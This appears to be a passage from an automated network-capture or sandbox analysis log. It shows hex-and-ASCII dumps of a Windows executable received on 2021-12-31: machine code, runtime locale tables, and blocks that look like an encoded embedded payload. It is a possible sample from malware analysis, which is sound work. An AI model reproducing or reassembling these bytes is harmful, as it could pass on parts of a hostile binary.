1c 2b f8 75 18 0f b6 7e 1d 0f b6 42 1d 2b f8 75 0c 0f b6 7e 1e 0f b6 42 1e 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 4e 1f Data Ascii: F;BtUB+u~B+u~B+t3MNB+t3E\F;BtUB+u~B+u~B+t3MNB+t3EF;BtUB+u~B+u~B+t3MN
2021-12-31 18:13:31 UTC	1562	IN	Data Raw: 6a 00 50 89 45 fc ff 15 bc d0 41 00 8b f0 85 f6 75 47 ff 15 00 d0 41 00 83 f8 57 75 28 8b 75 fc 6a 07 68 30 f4 41 00 56 e8 cb 5e 00 00 83 c4 0c 85 c0 74 11 6a 00 6a 00 56 ff 15 bc d0 41 00 8b f0 85 f6 75 14 83 c8 ff 87 03 83 c7 04 3b 7d 0c 75 8c 33 c0 5f 5e 5b c9 c3 8b c6 87 03 85 c0 74 07 56 ff 15 b4 d0 41 00 8b c6 eb e8 55 8b ec 8b 45 08 56 57 8d 3c 85 50 65 44 00 8b 07 83 ce ff 3b c6 74 2b 85 c0 75 29 ff 75 14 ff 75 10 e8 3f ff ff ff 59 59 85 c0 74 14 ff 75 0c 50 ff 15 b8 d0 41 00 85 c0 74 06 8b c8 87 0f eb 04 87 37 33 c0 5f 5e 5d c3 55 8b ec 56 68 48 f4 41 00 68 40 f4 41 00 68 48 f4 41 00 6a 00 e8 9d ff ff ff 8b f0 83 c4 10 85 f6 74 10 ff 75 08 8b ce ff 15 5c d1 41 00 ff d6 5e 5d c3 5e 5d ff 25 a4 d0 41 00 55 8b ec 56 68 5c f4 41 00 68 54 f4 41 00 68 Data Ascii: jPEAuGAWu(ujh0AV^tjjVAu;}u3_^[tVAUEVW<PeD;t+u)uu?YYtuPAt73_^]UVhHAh@AhHAjtu\A^]^]%AUVh\AhTAh
2021-12-31 18:13:31 UTC	1570	IN	Data Raw: ff ff 59 c3 8b ff 55 8b ec 51 53 56 8b f1 57 8b 06 8b 7e 04 8b 18 53 e8 3a 83 00 00 ff 76 04 88 45 fc 8b 06 ff 30 8b 46 10 ff 30 8b 46 0c ff 30 8b 46 08 ff 30 e8 8d 00 00 00 57 53 ff 75 fc 8b f0 e8 bc 83 00 00 83 c4 24 8b c6 5f 5e 5b c9 c3 8b ff 55 8b ec 83 ec 20 83 7d 0c 00 74 2b 83 7d 10 00 74 25 8b 4d 14 85 c9 75 22 8b 45 18 50 c6 40 1c 01 c7 40 18 16 00 00 00 33 c0 50 50 50 50 50 e8 7c e4 ff ff 83 c4 18 33 c0 c9 c3 8d 45 14 89 4d f8 89 45 e0 8b 45 18 89 45 e4 8d 45 08 89 45 e8 8d 45 0c 89 45 ec 8d 45 10 89 45 f0 8d 45 f8 50 8d 45 e0 89 4d f4 50 8d 45 f4 50 8d 4d ff e8 e4 fe ff ff c9 c3 8b ff 55 8b ec 83 ec 0c 53 56 57 8b 7d 0c 85 ff 74 2c 8b 75 10 85 f6 74 25 8b 4d 14 85 c9 75 25 8b 45 18 50 c6 40 1c 01 c7 40 18 16 00 00 00 33 c0 50 50 50 50 50 e8 00 Data Ascii: YUQSVW~S:vE0F0F0F0WSu$_^[U }t+}t%Mu"EP@@3PPPPP\|3EMEEEEEEEEEEPEMPEPMUSVW}t,ut%Mu%EP@@3PPPPP
2021-12-31 18:13:31 UTC	1578	IN	Data Raw: db 74 05 66 3b da 75 51 50 56 6a 10 8d 87 00 01 00 00 50 e8 d2 8b 00 00 83 c4 10 85 c0 75 42 8b 45 fc 6a 2c 59 66 3b d9 0f 84 19 ff ff ff 66 85 db 0f 84 10 ff ff ff 8b 75 f8 83 c6 02 40 68 68 00 42 00 56 89 45 fc e8 7b ae 00 00 59 59 6a 2c 5a 85 c0 0f 85 45 ff ff ff 83 c8 ff 5f 5e 5b c9 c3 33 db 53 53 53 53 53 e8 3f c5 ff ff cc 8b ff 55 8b ec 56 e8 f7 21 00 00 8b 55 08 8b f0 6a 00 58 8b 8e 50 03 00 00 f6 c1 02 0f 94 c0 40 83 fa ff 74 33 85 d2 74 36 83 fa 01 74 1f 83 fa 02 74 15 e8 0c e6 ff ff c7 00 16 00 00 00 e8 ce c4 ff ff 83 c8 ff eb 17 83 e1 fd eb 03 83 c9 02 89 8e 50 03 00 00 eb 07 83 0d 70 52 44 00 ff 5e 5d c3 8b ff 55 8b ec 56 8b 75 0c 85 f6 74 1f 8b 45 08 85 c0 74 18 3b c6 74 14 57 6a 2e 59 8b f8 f3 a5 83 60 0c 00 50 e8 74 ae 00 00 59 5f 5e 5d c3 Data Ascii: tf;uQPVjPuBEj,Yf;fu@hhBVE{YYj,ZE_^[3SSSSS?UV!UjXP@t3t6ttPpRD^]UVutEt;tWj.Y`PtY_^]
2021-12-31 18:13:31 UTC	1586	IN	Data Raw: e8 42 a6 ff ff 59 83 65 fc 00 6a 00 8b 45 0c 8b 00 ff 30 e8 0d 02 00 00 59 59 c7 45 fc fe ff ff ff e8 12 00 00 00 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c2 0c 00 8b 45 10 ff 30 e8 4d a6 ff ff 59 c3 6a 08 68 e0 9a 42 00 e8 b0 6b ff ff 8b 45 08 ff 30 e8 ed a5 ff ff 59 83 65 fc 00 8b 4d 0c 8b 41 04 8b 00 ff 30 8b 01 ff 30 e8 b3 01 00 00 59 59 c7 45 fc fe ff ff ff e8 12 00 00 00 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c2 0c 00 8b 45 10 ff 30 e8 f3 a5 ff ff 59 c3 8b ff 55 8b ec 83 ec 14 8b 45 08 33 c9 41 6a 43 89 48 18 8b 45 08 c7 00 40 fe 41 00 8b 45 08 89 88 50 03 00 00 8b 45 08 59 6a 05 c7 40 48 50 55 44 00 8b 45 08 66 89 48 6c 8b 45 08 66 89 88 72 01 00 00 8d 4d ff 8b 45 08 83 a0 4c 03 00 00 00 8d 45 08 89 45 f0 58 89 45 f8 89 45 ec 8d 45 f8 50 Data Ascii: BYejE0YYEMdY_^[E0MYjhBkE0YeMA00YYEMdY_^[E0YUE3AjCHE@AEPEYj@HPUDEfHlEfrMELEEXEEEP
2021-12-31 18:13:31 UTC	1594	IN	Data Raw: 43 8b c6 8b d6 83 e0 3f c1 fa 06 6b c8 38 8b 04 95 20 69 44 00 f6 44 08 28 01 74 28 8d 45 08 89 75 f8 89 45 ec 8d 4d ff 8b 45 0c 89 45 f0 8d 45 f8 50 8d 45 ec 89 75 f4 50 8d 45 f4 50 e8 f9 fe ff ff eb 28 8b 45 0c 33 c9 50 51 51 51 c6 40 24 01 51 89 48 20 c6 40 1c 01 51 c7 40 18 09 00 00 00 e8 9c 84 ff ff 83 c4 18 83 c8 ff 5e c9 c3 8b ff 55 8b ec 56 57 8b 7d 08 57 e8 a2 61 00 00 59 83 f8 ff 75 04 33 f6 eb 4e a1 20 69 44 00 83 ff 01 75 09 f6 80 98 00 00 00 01 75 0b 83 ff 02 75 1c f6 40 60 01 74 16 6a 02 e8 73 61 00 00 6a 01 8b f0 e8 6a 61 00 00 59 59 3b c6 74 c8 57 e8 5e 61 00 00 59 50 ff 15 00 d1 41 00 85 c0 75 b6 ff 15 00 d0 41 00 8b f0 57 e8 b3 60 00 00 59 8b cf 83 e7 3f c1 f9 06 6b d7 38 8b 0c 8d 20 69 44 00 c6 44 11 28 00 85 f6 74 10 ff 75 0c 56 e8 79 Data Ascii: C?k8 iDD(t(EuEMEEEPEuPEP(E3PQQQ@$QH @Q@^UVW}WaYu3N iDuuu@`tjsajjaYY;tW^aYPAuAW`Y?k8 iDD(tuVy
2021-12-31 18:13:31 UTC	1602	IN	Data Raw: c0 74 5c 8b 4d 10 39 4d ec 77 54 03 7d ec 8b 45 f8 8b 55 f0 8b 04 85 20 69 44 00 80 7c 02 28 00 7d ab 80 7d ff 02 74 17 d1 e9 51 ff 75 0c 57 53 ff 75 08 e8 f9 f9 ff ff 83 c4 14 8b f8 eb 8e d1 ef 80 7d e4 00 57 ff 75 e0 ff 75 08 74 0a e8 35 fb ff ff 83 c4 0c eb e3 e8 2c f8 ff ff eb f4 ff 15 00 d0 41 00 6a 05 5f 3b c7 75 17 e8 41 86 ff ff c7 00 09 00 00 00 e8 23 86 ff ff 89 38 e9 47 ff ff ff 83 f8 6d 0f 85 37 ff ff ff 33 ff e9 3a ff ff ff 33 c0 eb 1b e8 03 86 ff ff 83 20 00 e8 0e 86 ff ff c7 00 09 00 00 00 e8 d0 64 ff ff 83 c8 ff 5f 5b c9 c3 6a 18 68 40 9c 42 00 e8 3e 2b ff ff 8b 7d 08 83 ff fe 75 1b 8b 45 18 c6 40 24 01 83 60 20 00 c6 40 1c 01 c7 40 18 09 00 00 00 e9 e0 00 00 00 85 ff 0f 88 b3 00 00 00 3b 3d 20 6b 44 00 0f 83 a7 00 00 00 8b cf c1 e9 06 89 Data Ascii: t\M9MwT}EU iD\|(}}tQuWSu}Wuut5,Aj_;uA#8Gm73:3 d_[jh@B>+}uE@$` @@;= kD
2021-12-31 18:13:31 UTC	1610	IN	Data Raw: ff ff 40 74 08 c6 85 70 ff ff ff 00 c3 c6 85 70 ff ff ff 00 dc 05 fe 0e 42 00 c3 eb 03 cc cc cc d9 c9 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 09 c6 85 70 ff ff ff 00 eb 07 c6 85 70 ff ff ff 00 de c1 c3 8d a4 24 00 00 00 00 90 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 20 d9 c9 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 09 c6 85 70 ff ff ff 00 eb 07 c6 85 70 ff ff ff 01 de c1 c3 90 dd d8 dd d8 db 2d e0 0e 42 00 80 bd 70 ff ff ff 00 7f 07 c6 85 70 ff ff ff 01 0a c9 c3 8d 49 00 dd d8 dd d8 db 2d f4 0e 42 00 0a ed 74 02 d9 e0 0a c9 74 08 dd 05 06 0f 42 00 de c9 c3 0a c9 74 02 d9 e0 c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 c4 e0 89 45 e0 8b 45 18 89 45 f0 Data Ascii: @tppB$$bbi@tpp$bbi@t bbi@tpp-BppI-BttBtUEEE
2021-12-31 18:13:31 UTC	1618	IN	Data Raw: ec 51 51 53 56 6a 38 6a 40 e8 5f 8d ff ff 8b f0 33 db 89 75 f8 59 59 85 f6 75 04 8b f3 eb 4b 8d 86 00 0e 00 00 3b f0 74 41 57 8d 7e 20 8b f0 53 68 a0 0f 00 00 8d 47 e0 50 e8 53 8b ff ff 83 4f f8 ff 80 67 0d f8 89 1f 8d 7f 38 89 5f cc 8d 47 e0 c7 47 d0 00 00 0a 0a c6 47 d4 0a 89 5f d6 88 5f da 3b c6 75 c9 8b 75 f8 5f 53 e8 eb 84 ff ff 59 8b c6 5e 5b c9 c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 25 53 8d 9e 00 0e 00 00 57 8b fe 3b f3 74 0e 57 ff 15 48 d0 41 00 83 c7 38 3b fb 75 f2 56 e8 b5 84 ff ff 59 5f 5b 5e 5d c3 6a 10 68 00 9d 42 00 e8 48 eb fe ff 81 7d 08 00 20 00 00 72 21 e8 ec 45 ff ff 6a 09 5e 89 30 e8 af 24 ff ff 8b c6 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c3 33 f6 89 75 e4 6a 07 e8 59 25 ff ff 59 89 75 fc 8b fe a1 20 6b 44 00 89 7d e0 39 45 08 Data Ascii: QQSVj8j@_3uYYuK;tAW~ ShGPSOg8_GGG__;uu_SY^[UVut%SW;tWHA8;uVY_[^]jhBH} r!Ej^0$MdY_^[3ujY%Yu kD}9E
2021-12-31 18:13:31 UTC	1626	IN	Data Raw: 33 c0 eb b1 33 c0 eb a5 33 c0 39 43 60 75 39 39 43 5c 74 34 8d 85 0c ff ff ff 50 ff 73 50 e8 01 c9 ff ff 59 59 85 c0 75 1f 57 33 db 53 56 e8 66 02 00 00 83 c4 0c 85 c0 74 0e 81 0f 00 01 00 00 39 5f 04 75 03 89 77 04 8b 07 c1 e8 02 f7 d0 83 e0 01 eb 05 33 c0 89 07 40 8b 4d fc 5f 5e 33 cd 5b e8 e9 c4 fe ff c9 c2 04 00 8b ff 55 8b ec 81 ec f4 00 00 00 a1 20 50 44 00 33 c5 89 45 fc 53 56 8b 75 08 57 e8 e6 61 ff ff 8b d8 e8 df 61 ff ff 56 8b b8 4c 03 00 00 e8 a2 00 00 00 59 8b 4b 60 8b f0 f7 d9 8d 85 0c ff ff ff 6a 78 1b c9 81 e1 02 f0 ff ff 50 81 c1 01 10 00 00 51 56 ff 15 ec d0 41 00 85 c0 75 05 21 07 40 eb 61 8d 85 0c ff ff ff 50 ff 73 50 e8 48 c8 ff ff 59 59 8b 4b 60 85 c0 75 09 85 c9 75 32 57 6a 01 eb 20 85 c9 75 32 39 4b 5c 74 2d 8d 85 0c ff ff ff 50 ff Data Ascii: 3339C`u99C\t4PsPYYuW3SVft9_uw3@M_^3[U PD3ESVuWaaVLYK`jxPQVAu!@aPsPHYYK`uu2Wj u29K\t-P
2021-12-31 18:13:31 UTC	1634	IN	Data Raw: 06 ff ff c7 00 16 00 00 00 e8 71 e5 fe ff b8 ff ff ff 7f e9 83 00 00 00 56 8b 75 10 85 f6 75 04 33 c0 eb 76 ff 75 14 8d 4d ec e8 96 06 ff ff 8b 45 f0 83 b8 a8 00 00 00 00 75 0f 56 53 57 e8 ee fe ff ff 83 c4 0c 8b c8 eb 3e 0f b7 07 8d 4d f0 51 50 8d 7f 02 e8 8b a8 ff ff 0f b7 c0 8d 4d f0 89 45 fc 0f b7 03 8d 5b 02 51 50 e8 75 a8 ff ff 8b 55 fc 83 c4 10 0f b7 c0 8b ca 2b c8 75 09 85 d2 74 05 83 ee 01 75 c2 80 7d f8 00 74 0a 8b 45 ec 83 a0 50 03 00 00 fd 8b c1 5e 5b 5f c9 c3 8b ff 55 8b ec 83 7d 08 00 75 15 e8 03 06 ff ff c7 00 16 00 00 00 e8 c5 e4 fe ff 83 c8 ff 5d c3 ff 75 08 6a 00 ff 35 2c 6c 44 00 ff 15 20 d0 41 00 5d c3 8b ff 55 8b ec 83 ec 28 a1 20 50 44 00 33 c5 89 45 fc 8b 4d 0c 8b 45 18 53 8b 5d 08 56 8b 75 14 89 4d e0 89 45 e4 57 85 f6 75 05 be 34 Data Ascii: qVuu3vuMEuVSW>MQPME[QPuU+utu}tEP^[_U}u]uj5,lD A]U( PD3EMES]VuMEWu4
2021-12-31 18:13:31 UTC	1642	IN	Data Raw: 23 76 e2 ab 7c 66 73 f4 09 69 64 69 f3 d2 6d 56 41 12 1f 21 0c 12 20 0c 01 11 fd 3c ec 3e 1d 6e 36 3c 2d 27 1e 4a 00 fe 3c ea 2b 1d 46 1f ed 23 e3 58 02 78 1b 12 10 1f ef 32 ef 55 b3 11 fd 34 ee 00 fe 4d f8 0f 27 f1 31 d9 0c 03 21 00 fa 32 d2 4a a4 00 fe 45 de db 04 dc 24 1f ef 02 f7 00 fa 0a e6 1f ed 33 ef 66 e1 1b db 1e fd 04 fa 11 f0 1b ed 11 fd 0c c0 00 fe 4d c0 30 c8 05 de 1f ef 0a d5 00 fa 22 da 1f ed 2b c7 66 e1 2b f3 1e fd 04 d2 9f 5d 99 8c 88 ff 81 e9 23 ff 50 80 4f be 87 8b f2 be b0 fc 4e 8c 88 8b 00 5e 5a 70 8d 2d 92 86 fd 58 86 99 88 00 2c f9 7c fd fc 88 98 88 ff e5 13 99 f1 f1 89 98 88 86 eb 36 cf fd fc 90 98 88 ff e5 13 c5 f1 f1 81 98 88 86 eb 36 ab fd fc 98 98 88 ff e5 d3 35 87 8b 86 ef f2 79 99 8c 88 f9 3c b4 a1 f2 30 97 a9 be 96 4c fa 6a Data Ascii: #v\|fsidimVA! <>n6<-'J<+F#Xx2U4M'1!2JE$3fM0"+f+]#PON^Zp-X,\|665y<0Lj
2021-12-31 18:13:31 UTC	1650	IN	Data Raw: 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 81 00 81 00 81 00 81 00 81 00 81 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00 10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2021-12-31 18:13:31 UTC	1658	IN	Data Raw: 68 00 2d 00 6a 00 61 00 6d 00 61 00 69 00 63 00 61 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 6e 00 7a 00 00 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 73 00 6f 00 75 00 74 00 68 00 20 00 61 00 66 00 72 00 69 00 63 00 61 00 00 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 74 00 72 00 69 00 6e 00 69 00 64 00 61 00 64 00 20 00 79 00 20 00 74 00 6f 00 62 00 61 00 67 00 6f 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 75 00 6b 00 00 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 75 00 73 00 00 00 00 00 65 00 6e 00 67 00 6c 00 69 00 73 00 68 00 2d 00 75 00 73 00 61 00 00 00 66 00 72 00 65 00 6e 00 63 00 68 00 2d 00 62 00 65 00 6c 00 67 00 69 00 61 00 6e 00 00 00 00 00 66 00 72 00 65 00 6e 00 63 00 68 Data Ascii: h-jamaicaenglish-nzenglish-south africaenglish-trinidad y tobagoenglish-ukenglish-usenglish-usafrench-belgianfrench
2021-12-31 18:13:31 UTC	1666	IN	Data Raw: 2d 00 69 00 71 00 00 00 61 00 72 00 2d 00 6a 00 6f 00 00 00 61 00 72 00 2d 00 6b 00 77 00 00 00 61 00 72 00 2d 00 6c 00 62 00 00 00 61 00 72 00 2d 00 6c 00 79 00 00 00 61 00 72 00 2d 00 6d 00 61 00 00 00 61 00 72 00 2d 00 6f 00 6d 00 00 00 61 00 72 00 2d 00 71 00 61 00 00 00 61 00 72 00 2d 00 73 00 61 00 00 00 61 00 72 00 2d 00 73 00 79 00 00 00 61 00 72 00 2d 00 74 00 6e 00 00 00 61 00 72 00 2d 00 79 00 65 00 00 00 61 00 7a 00 2d 00 61 00 7a 00 2d 00 63 00 79 00 72 00 6c 00 00 00 00 00 61 00 7a 00 2d 00 61 00 7a 00 2d 00 6c 00 61 00 74 00 6e 00 00 00 00 00 62 00 65 00 2d 00 62 00 79 00 00 00 62 00 67 00 2d 00 62 00 67 00 00 00 62 00 6e 00 2d 00 69 00 6e 00 00 00 62 00 73 00 2d 00 62 00 61 00 2d 00 6c 00 61 00 74 00 6e 00 00 00 00 00 63 00 61 00 2d 00 65 Data Ascii: -iqar-joar-kwar-lbar-lyar-maar-omar-qaar-saar-syar-tnar-yeaz-az-cyrlaz-az-latnbe-bybg-bgbn-inbs-ba-latnca-e
2021-12-31 18:13:31 UTC	1674	IN	Data Raw: 00 00 80 11 eb 14 27 bf 85 38 52 dd d8 94 4e bd 00 00 00 3b 19 15 17 bf fe 2a 8b 32 5d d3 17 bd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 47 15 f7 3f 00 00 00 c0 45 15 f7 3f 00 00 00 40 44 15 f7 3f 00 00 00 00 43 15 f7 3f 00 00 00 80 41 15 f7 3f 00 00 00 00 40 15 f7 3f 00 00 00 80 3e 15 f7 3f 00 00 00 40 3d 15 f7 3f 00 00 00 c0 3b 15 f7 3f 00 00 00 40 3a 15 f7 3f 00 00 00 c0 38 15 f7 3f 00 00 00 80 37 15 f7 3f 00 00 00 00 36 15 f7 3f 00 00 00 80 34 15 f7 3f 00 00 00 00 33 15 f7 3f 00 00 00 80 31 15 f7 3f 00 00 00 40 30 15 f7 3f 00 00 00 c0 2e 15 f7 3f 00 00 00 40 2d 15 f7 3f 00 00 00 c0 2b 15 f7 3f 00 00 00 80 2a 15 f7 3f 00 00 00 00 29 15 f7 3f 00 00 00 80 27 15 f7 3f 00 00 00 00 26 15 f7 3f 00 00 00 c0 24 15 f7 3f 00 00 00 40 23 15 f7 Data Ascii: '8RN;2]@G?E?@D?C?A?@?>?@=?;?@:?8?7?6?4?3?1?@0?.?@-?+??)?'?&?$?@#
2021-12-31 18:13:31 UTC	1682	IN	Data Raw: f1 67 8e 2d 48 cf fe 3f 8c ad 11 b4 f3 93 9c bc 27 5a 61 ee 1b fa fe 3f b0 b6 a4 86 f4 c7 9d 3c 97 ba 6b 37 2b 25 ff 3f 43 8e 0d bf a5 a1 93 3c 40 45 6e 5b 76 50 ff 3f 8a a1 d8 2d e1 d3 99 3c 14 be 9c ad fd 7b ff 3f 09 35 06 d0 12 bb 9d bc d8 90 9e 81 c1 a7 ff 3f 1e 93 a5 f3 53 48 87 3c f1 71 8f 2b c2 d3 ff 3f e7 79 65 96 74 eb 62 3c 43 00 4f 00 4e 00 4f 00 55 00 54 00 24 00 00 00 6c 6f 67 31 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 3f 00 00 00 00 00 00 f0 3f 33 04 00 00 00 00 00 00 33 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 ff ff ff ff ff ff 0f 00 ff ff ff ff ff ff 0f 00 00 00 00 00 00 c0 db 3f 00 00 00 00 00 c0 db Data Ascii: g-H?'Za?<k7+%?C<@En[vP?-<{?5?SH<q+?yetb<CONOUT$log10??33?
2021-12-31 18:13:31 UTC	1690	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 94 c1 41 00 00 00 00 00 9c c1 41 00 22 05 93 19 02 00 00 00 10 96 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff e4 c2 41 00 22 05 93 19 01 00 00 00 44 96 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 cc ff ff ff 00 00 00 00 fe ff ff ff a7 50 40 00 bb 50 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff 1b 53 40 00 2e 53 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff fd 5c 40 00 0b 5d 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 9a 88 40 00 00 00 00 00 51 88 40 00 5b 88 40 00 fe ff ff ff 00 00 00 Data Ascii: AA"BA"DBP@P@S@.S@\@]@@Q@[@
2021-12-31 18:13:31 UTC	1698	IN	Data Raw: ad 6f 79 67 42 53 00 72 5e 41 73 64 74 72 64 66 4b 77 79 75 ae 71 65 33 31 37 5f 72 77 6c 73 65 6c 75 72 64 6d 65 6d 72 69 79 67 41 50 01 72 54 48 72 65 74 71 64 66 72 78 79 75 64 6a 55 30 35 7a 5f 72 74 6a 73 65 72 0b 6c 65 6d 6f 67 70 79 16 40 41 53 0a 6d 22 72 55 67 63 1d 43 66 72 7d 66 44 56 6a 66 5c 79 36 5f 78 62 6f 1c 28 63 75 78 4d 23 65 6d 78 6d 51 79 41 53 06 78 7f 4f 71 73 60 5a 42 66 72 71 16 4b 65 71 6f 39 eb 35 79 ac 74 6a 59 64 73 75 72 65 6d 63 6d 33 28 79 64 4e 53 00 73 4f 71 76 65 59 73 64 66 75 77 79 64 1b 6f 65 33 3f 3c 21 6c 74 6c 79 6e 61 62 ff 32 6d 65 6c 57 79 0b 48 42 53 70 d0 43 2e 3c 65 74 78 68 6e 7a f9 10 62 3c 59 62 33 35 1d 77 7a 74 6c 58 69 75 78 7b 48 54 17 42 71 6f 09 6f 69 01 00 72 5e 5e 78 e8 2d 72 64 67 57 a7 db 75 65 Data Ascii: oygBSr^AsdtrdfKwyuqe317_rwlselurdmemriygAPrTHretqdfrxyudjU05z_rtjserlemogpy@ASm"rUgcCfr}fDVjf\y6_xbo(cuxM#emxmQyASxOqs`ZBfrqKeqo95ytjYdsuremcm3(ydNSsOqveYsdfuwydoe3?<!ltlynab2melWyHBSpC.<etxhnzb<Yb35wztlXiux{HTBqooir^^x-rdgWue
2021-12-31 18:13:31 UTC	1706	IN	Data Raw: 76 67 41 52 1b 42 57 41 11 65 74 72 44 66 72 66 66 69 4d 24 65 33 3f 44 28 78 74 1c 5b 59 63 75 78 6f 6b 4d c7 72 6f 73 4b 77 55 73 15 54 41 79 4d df 72 64 6c 5a 32 79 75 6f 7a 77 32 2a cb 77 34 74 6c 79 4d cf 75 72 6f 41 74 6b 5a c2 79 67 4b 55 28 dc 54 41 79 43 62 7e ba 72 65 7b a7 65 63 59 cb 33 35 3c 79 64 78 b2 76 43 bd 75 64 4f 65 4f 6d 72 6e 69 67 41 53 00 72 54 1a 28 65 77 78 64 66 73 6c 49 71 65 42 65 33 35 29 5f 72 65 44 f7 65 63 73 78 73 66 4e 7a 74 68 e3 6b 49 51 03 76 3b c0 73 65 72 ac 60 1c 54 a9 79 72 72 29 6e 34 33 b8 36 40 97 7b 7e bb 65 0f 54 73 60 bb 6d 7b 45 79 66 75 53 00 72 54 4f 73 6e 6d 72 65 45 72 77 78 75 65 7f 65 38 2f 36 5c 7d 74 6c 72 65 63 75 72 4e 46 65 6c 51 6f 79 66 41 53 00 72 7f 6d 73 60 7b 72 64 67 cc 73 51 da 65 71 6f Data Ascii: vgARBWAetrDfrffiM$e3?D(xt[YcuxokMrosKwUsTAyMrdlZ2yuozw2*w4tlyMuroAtkZygKU(TAyCb~re{ecY35<ydxvCudOeOmrnigASrT(ewxdfslIqeBe35)_reDecsxsfNzthkIQv;ser`Tyrr)n436@{~eTs`m{EyfuSrTOsnmreErwxuee8/6\}tlrecurNFelQoyfASrms`{rdgsQeqo
2021-12-31 18:13:31 UTC	1714	IN	Data Raw: 5f 51 7b 7e 54 41 77 4f 56 70 67 1b 7e 77 79 71 4f 71 65 33 2e 06 58 72 cf 6c 73 65 4c 75 72 74 72 6a e0 2b 6f 79 66 64 83 e3 72 54 45 5b 5f 74 72 6e 15 49 77 79 7f 6f 75 0a 10 35 36 55 79 0a 72 73 65 69 79 75 0a 05 65 6d 78 74 f4 3e 41 53 01 57 84 fc 73 65 70 5a 5e 66 72 7d 0a 4e 65 71 6f 1b 75 36 5f 78 58 42 74 0a 47 75 72 6f 7a e8 3a 72 6f 78 42 57 48 8d 2b 54 41 72 40 a4 cf 64 66 76 5f 43 75 65 7b 16 08 35 36 55 d0 63 03 3c 65 63 7f 65 ff 61 7b e0 2b 6f 79 66 64 83 a5 72 54 45 5b 5f 74 72 6e 15 49 77 79 7f 66 1e 41 32 35 30 57 5a 4b 6c 73 6f 4e 78 00 4a 6e 65 1d 7a 47 52 67 41 59 2b 77 26 1e 79 65 04 5a 06 66 72 7d 74 ab 60 57 bb 33 33 1c 56 58 74 6d 63 65 63 75 72 7d 6d f9 d9 72 6c 73 67 41 52 1b 42 52 41 0f 67 74 72 54 66 72 66 0a ac 65 71 6f 39 22 Data Ascii: _Q{~TAwOVpg~wyqOqe3.XrlseLurtrj+oyfdrTE[_trnIwyou56Uyrseiyuemxt>ASWsepZ^fr}Neqou6_xXBtGuroz:roxBWH+TAr@dfv_Cue{56Uc<ecea{+oyfdrTE[_trnIwyfA250WZKlsoNxJnezGRgAY+w&yeZfr}t`W33VXtmcecur}mrlsgARBRAgtrTfrfeqo9"
2021-12-31 18:13:31 UTC	1722	IN	Data Raw: 02 72 59 41 66 47 74 78 64 66 72 77 79 75 65 71 49 1f 35 33 50 72 74 6d 60 55 66 75 15 65 6d 65 24 72 6f 68 65 2e db 00 72 5e 56 fe 32 74 72 65 43 64 05 da 77 65 01 c7 24 5a 79 5f 72 7e 78 8d 63 26 74 72 6f 1e 23 6c 72 65 51 42 41 53 2b 5a 72 41 73 4e 7e 74 72 f2 52 b7 79 75 65 42 6f 35 22 a2 7f da 74 6c 73 4b 43 73 64 f1 4d c9 6d 72 6f 4a 69 47 44 94 6d 44 73 74 63 63 e6 7b 79 43 7f 7f 63 f1 6e 6f cd 34 1c 48 58 74 77 43 60 63 89 72 65 6d 2f 6d 72 7e 07 64 41 53 04 0c 52 41 73 61 5c 5f 64 66 74 60 f4 22 65 71 64 16 23 44 36 7c 74 1c d1 72 0c 3a 72 65 67 1b 76 73 6f 7d 42 6c 44 26 0c 4e 40 73 61 8a 74 43 64 72 71 0a 32 64 71 6f 16 b5 2d 5e 72 70 44 54 65 63 5e 4b c6 6d 65 6d 5a 27 78 67 4b 2d 1c 73 54 45 56 48 63 54 1a 7c 73 77 7d 8b 63 59 67 33 33 45 16 Data Ascii: 